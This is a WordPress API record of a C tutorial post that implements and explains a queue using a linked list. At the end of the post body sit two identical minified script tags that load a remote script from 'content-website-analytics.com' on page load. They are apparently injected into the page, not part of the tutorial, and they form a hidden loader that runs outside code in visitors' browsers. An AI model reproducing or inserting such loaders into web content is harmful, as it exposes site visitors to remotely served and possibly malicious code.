{"id":528,"date":"2024-10-19T13:52:29","date_gmt":"2024-10-19T08:22:29","guid":{"rendered":"https:\/\/codexplained.in\/?p=528"},"modified":"2025-11-24T15:33:34","modified_gmt":"2025-11-24T10:03:34","slug":"implement-queue-using-linked-list","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=528","title":{"rendered":"Implement Queue using Linked List"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Structure to represent a node in the queue\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Structure to represent the queue with pointers to the front and rear\nstruct Queue {\n    struct Node *front, *rear;\n};\n\n\/\/ Function to create a new node with the given data\nstruct Node* newNode(int data) {\n    struct Node* temp = (struct Node*)malloc(sizeof(struct Node));\n    temp-&gt;data = data;\n    temp-&gt;next = NULL;\n    return temp;\n}\n\n\/\/ Function to create an empty queue\nstruct Queue* createQueue() {\n    struct Queue* q = (struct Queue*)malloc(sizeof(struct Queue));\n    q-&gt;front = q-&gt;rear = NULL;\n    return q;\n}\n\n\/\/ Function to add an element to the queue\nvoid enqueue(struct Queue* q, int data) {\n    \/\/ Create a new node\n    struct Node* temp = newNode(data);\n    \n    \/\/ If the queue is empty, the new node will be the front and rear\n    if (q-&gt;rear == NULL) {\n        q-&gt;front = q-&gt;rear = temp;\n        printf(&quot;Enqueued %d to the queue.\\n&quot;, data);\n        return;\n    }\n\n    \/\/ Attach the new node at the end of the queue and change the rear\n    q-&gt;rear-&gt;next = temp;\n    q-&gt;rear = temp;\n    printf(&quot;Enqueued %d to the queue.\\n&quot;, data);\n}\n\n\/\/ Function to remove an element from the queue\nvoid dequeue(struct Queue* q) {\n    \/\/ If the queue is empty, there is nothing to dequeue\n    if (q-&gt;front == NULL) {\n        printf(&quot;Queue is empty, nothing to dequeue.\\n&quot;);\n        return;\n    }\n\n    \/\/ Store the previous front and move the front one node ahead\n    struct Node* temp = q-&gt;front;\n    q-&gt;front = q-&gt;front-&gt;next;\n\n    \/\/ If the front becomes NULL, then the queue is empty, so set rear to NULL\n    if (q-&gt;front == NULL) {\n        q-&gt;rear = NULL;\n    }\n\n    printf(&quot;Dequeued %d from the queue.\\n&quot;, temp-&gt;data);\n    free(temp);\n}\n\n\/\/ Function to display the current elements of the queue\nvoid displayQueue(struct Queue* q) {\n    struct Node* temp = q-&gt;front;\n    if (temp == NULL) {\n        printf(&quot;Queue is empty.\\n&quot;);\n        return;\n    }\n\n    printf(&quot;Queue elements: &quot;);\n    while (temp != NULL) {\n        printf(&quot;%d &quot;, temp-&gt;data);\n        temp = temp-&gt;next;\n    }\n    printf(&quot;\\n&quot;);\n}\n\n\/\/ Main function to demonstrate queue operations\nint main() {\n    struct Queue* q = createQueue();\n\n    enqueue(q, 10);\n    enqueue(q, 20);\n    enqueue(q, 30);\n\n    displayQueue(q);\n\n    dequeue(q);\n    displayQueue(q);\n\n    dequeue(q);\n    dequeue(q);\n    dequeue(q);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Data Structure Design<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>Node<\/code> structure represents a node in the linked list, containing <code>data<\/code> (to store the integer value) and <code>next<\/code> (a pointer to the next node).<\/li>\n\n\n\n<li>The <code>Queue<\/code> structure has two pointers: <code>front<\/code> (points to the front of the queue) and <code>rear<\/code> (points to the end of the queue).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Node Creation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>newNode(int data)<\/code>: This function creates a new node using <code>malloc<\/code> and initializes it with the provided <code>data<\/code>. It returns a pointer to the newly created node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Queue Initialization<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>createQueue()<\/code>: This function initializes a new <code>Queue<\/code> by allocating memory for it and setting both <code>front<\/code> and <code>rear<\/code> pointers to <code>NULL<\/code>, indicating an empty queue.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Enqueue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>enqueue(struct Queue* q, int data)<\/code>:\n<ul class=\"wp-block-list\">\n<li>A new node is created.<\/li>\n\n\n\n<li>If the <code>rear<\/code> is <code>NULL<\/code>, it means the queue is empty, so both <code>front<\/code> and <code>rear<\/code> pointers are set to this new node.<\/li>\n\n\n\n<li>Otherwise, the <code>next<\/code> pointer of the current <code>rear<\/code> is updated to the new node, and then <code>rear<\/code> is updated to this new node.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Dequeue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>dequeue(struct Queue* q)<\/code>:\n<ul class=\"wp-block-list\">\n<li>If the <code>front<\/code> is <code>NULL<\/code>, the queue is empty, so a message is printed.<\/li>\n\n\n\n<li>Otherwise, the front node is removed, and the <code>front<\/code> pointer is updated to the next node in the queue.<\/li>\n\n\n\n<li>If the queue becomes empty after the removal (i.e., <code>front<\/code> becomes <code>NULL<\/code>), then <code>rear<\/code> is also set to <code>NULL<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>displayQueue(struct Queue* q)<\/code>: It traverses from <code>front<\/code> to <code>rear<\/code> and prints each node\u2019s <code>data<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Creates an empty queue.<\/li>\n\n\n\n<li>Enqueues elements <code>10<\/code>, <code>20<\/code>, and <code>30<\/code>.<\/li>\n\n\n\n<li><\/li>\n\n\n\n<li>Displays the queue.<\/li>\n\n\n\n<li>Dequeues elements one by one and displays the queue after each operation.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>Enqueued 10 to the queue.\nEnqueued 20 to the queue.\nEnqueued 30 to the queue.\nQueue elements: 10 20 30 \nDequeued 10 from the queue.\nQueue elements: 20 30 \nDequeued 20 from the queue.\nDequeued 30 from the queue.\nQueue is empty, nothing to dequeue.\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The elements <code>10<\/code>, <code>20<\/code>, and <code>30<\/code> are added to the queue. After enqueueing, the queue looks like <code>10 -&gt; 20 -&gt; 30<\/code>.<\/li>\n\n\n\n<li>The first <code>dequeue<\/code> operation removes <code>10<\/code>, leaving <code>20 -&gt; 30<\/code>.<\/li>\n\n\n\n<li>The next <code>dequeue<\/code> removes <code>20<\/code>, leaving only <code>30<\/code>.<\/li>\n\n\n\n<li>After removing <code>30<\/code>, the queue becomes empty.<\/li>\n\n\n\n<li>Trying to dequeue from an empty queue gives a message indicating that there is nothing to remove.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This implementation demonstrates how to use a linked list to efficiently manage a queue, ensuring that elements can be added or removed dynamically as needed.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Explanation of the Output: This implementation demonstrates how to use a linked list to efficiently manage a queue, ensuring that elements can be added or removed dynamically as needed.<\/p>\n","protected":false},"author":40,"featured_media":531,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-528","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.8 - aioseo.com -->\n\t<meta name=\"description\" content=\"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Smit Shukla\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=528\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.8\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Implement Queue using Linked List - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=528\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2024-10-19T08:22:29+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-24T10:03:34+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Implement Queue using Linked List - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#blogposting\",\"name\":\"Implement Queue using Linked List - Code Explained\",\"headline\":\"Implement Queue using Linked List\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/Gemini_Generated_Image_ty74xwty74xwty74.jpeg\",\"width\":2048,\"height\":2048},\"datePublished\":\"2024-10-19T13:52:29+05:30\",\"dateModified\":\"2025-11-24T15:33:34+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#webpage\"},\"articleSection\":\"C\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"position\":2,\"name\":\"C\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=75\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#listItem\",\"name\":\"Implement Queue using Linked List\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#listItem\",\"position\":3,\"name\":\"Implement Queue using Linked List\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=40\",\"name\":\"Smit Shukla\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8b0a3d2d790218e2b3c383eb0c33c95038788f1fd6ed29ec1adff9a24cdff8c8?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Smit Shukla\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=528\",\"name\":\"Implement Queue using Linked List - Code Explained\",\"description\":\"#include #include \\\/\\\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \\\/\\\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \\\/\\\/ Function to create a new node with the given data struct\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=40#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/Gemini_Generated_Image_ty74xwty74xwty74.jpeg\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528\\\/#mainImage\",\"width\":2048,\"height\":2048},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=528#mainImage\"},\"datePublished\":\"2024-10-19T13:52:29+05:30\",\"dateModified\":\"2025-11-24T15:33:34+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Implement Queue using Linked List - Code Explained","description":"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct","canonical_url":"https:\/\/codexplained.in\/?p=528","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=528#blogposting","name":"Implement Queue using Linked List - Code Explained","headline":"Implement Queue using Linked List","author":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/Gemini_Generated_Image_ty74xwty74xwty74.jpeg","width":2048,"height":2048},"datePublished":"2024-10-19T13:52:29+05:30","dateModified":"2025-11-24T15:33:34+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=528#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=528#webpage"},"articleSection":"C"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=528#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","position":2,"name":"C","item":"https:\/\/codexplained.in\/?cat=75","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=528#listItem","name":"Implement Queue using Linked List"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=528#listItem","position":3,"name":"Implement Queue using Linked List","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=528#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=40#author","url":"https:\/\/codexplained.in\/?author=40","name":"Smit Shukla","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=528#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/8b0a3d2d790218e2b3c383eb0c33c95038788f1fd6ed29ec1adff9a24cdff8c8?s=96&d=mm&r=g","width":96,"height":96,"caption":"Smit Shukla"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=528#webpage","url":"https:\/\/codexplained.in\/?p=528","name":"Implement Queue using Linked List - Code Explained","description":"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=528#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=40#author"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/Gemini_Generated_Image_ty74xwty74xwty74.jpeg","@id":"https:\/\/codexplained.in\/?p=528\/#mainImage","width":2048,"height":2048},"primaryImageOfPage":{"@id":"https:\/\/codexplained.in\/?p=528#mainImage"},"datePublished":"2024-10-19T13:52:29+05:30","dateModified":"2025-11-24T15:33:34+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Implement Queue using Linked List - Code Explained","og:description":"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct","og:url":"https:\/\/codexplained.in\/?p=528","article:published_time":"2024-10-19T08:22:29+00:00","article:modified_time":"2025-11-24T10:03:34+00:00","twitter:card":"summary_large_image","twitter:title":"Implement Queue using Linked List - Code Explained","twitter:description":"#include #include \/\/ Structure to represent a node in the queue struct Node { int data; struct Node* next; }; \/\/ Structure to represent the queue with pointers to the front and rear struct Queue { struct Node *front, *rear; }; \/\/ Function to create a new node with the given data struct"},"aioseo_meta_data":{"post_id":"528","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-10-11 02:58:54","updated":"2025-11-24 10:07:29","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=75\" title=\"C\">C<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tImplement Queue using Linked List\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"C","link":"https:\/\/codexplained.in\/?cat=75"},{"label":"Implement Queue using Linked List","link":"https:\/\/codexplained.in\/?p=528"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=528"}],"version-history":[{"count":8,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528\/revisions"}],"predecessor-version":[{"id":1391,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528\/revisions\/1391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/531"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=528"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=528"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=528"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}